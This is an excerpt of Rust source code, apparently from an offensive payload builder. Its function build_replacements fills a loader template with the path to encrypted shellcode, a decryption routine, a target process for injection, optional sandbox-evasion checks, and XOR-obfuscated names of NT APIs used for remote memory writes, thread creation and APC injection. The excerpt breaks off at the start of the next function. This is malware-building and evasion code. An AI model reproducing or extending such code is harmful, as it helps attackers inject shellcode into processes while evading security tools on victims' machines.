Function build_replacements

src/puzzle.rs:108–141

(order: &Order, src_dir: &Path)

}

fn build_replacements(order: &Order, src_dir: &Path) -> HashMap<&'static str, String> {
    let (enc_output, include_path) = build_encrypted_output(order, src_dir);

    let mut replacements: HashMap<&'static str, String> = HashMap::new();
    replacements.insert("{{PATH_TO_SHELLCODE}}", include_path);
    replacements.insert("{{DECRYPTION_FUNCTION}}", enc_output.decryption_function);
    replacements.insert("{{MAIN}}", enc_output.main);
    replacements.insert("{{DEPENDENCIES}}", enc_output.dependencies.unwrap_or_default());
    replacements.insert("{{IMPORTS}}", enc_output.imports.unwrap_or_default());
    replacements.insert("{{DLL_MAIN}}", String::new());
    replacements.insert("{{DLL_FORMAT}}", String::new());
    replacements.insert("{{TARGET_PROCESS}}", order.target_process.clone());
    replacements.insert("{{SANDBOX}}", String::new());
    replacements.insert("{{SANDBOX_IMPORTS}}", String::new());

    if let Some(ref domain) = order.sandbox {
        let sandbox_output = build_sandbox(domain);
        replacements.insert("{{SANDBOX}}", sandbox_output.sandbox_function);
        replacements.insert("{{SANDBOX_IMPORTS}}", sandbox_output.sandbox_import);
    }

    let api_key = non_zero_random_key();
    replacements.insert("{{API_KEY}}", format!("0x{:02x}", api_key));
    replacements.insert("{{OBF_NT_OPEN_PROCESS}}", obfuscate_api_name("NtOpenProcess", api_key));
    replacements.insert("{{OBF_NT_ALLOCATE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtAllocateVirtualMemory", api_key));
    replacements.insert("{{OBF_NT_WRITE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtWriteVirtualMemory", api_key));
    replacements.insert("{{OBF_NT_PROTECT_VIRTUAL_MEMORY}}", obfuscate_api_name("NtProtectVirtualMemory", api_key));
    replacements.insert("{{OBF_NT_CREATE_THREAD_EX}}", obfuscate_api_name("NtCreateThreadEx", api_key));
    replacements.insert("{{OBF_NT_QUEUE_APC_THREAD}}", obfuscate_api_name("NtQueueApcThread", api_key));
    replacements.insert("{{OBF_NT_TEST_ALERT}}", obfuscate_api_name("NtTestAlert", api_key));
    replacements.insert("{{OBF_NT_DELAY_EXECUTION}}", obfuscate_api_name("NtDelayExecution", api_key));

    replacements
}

fn apply_dll_format(
    replacements: &mut HashMap<&'static str, String>,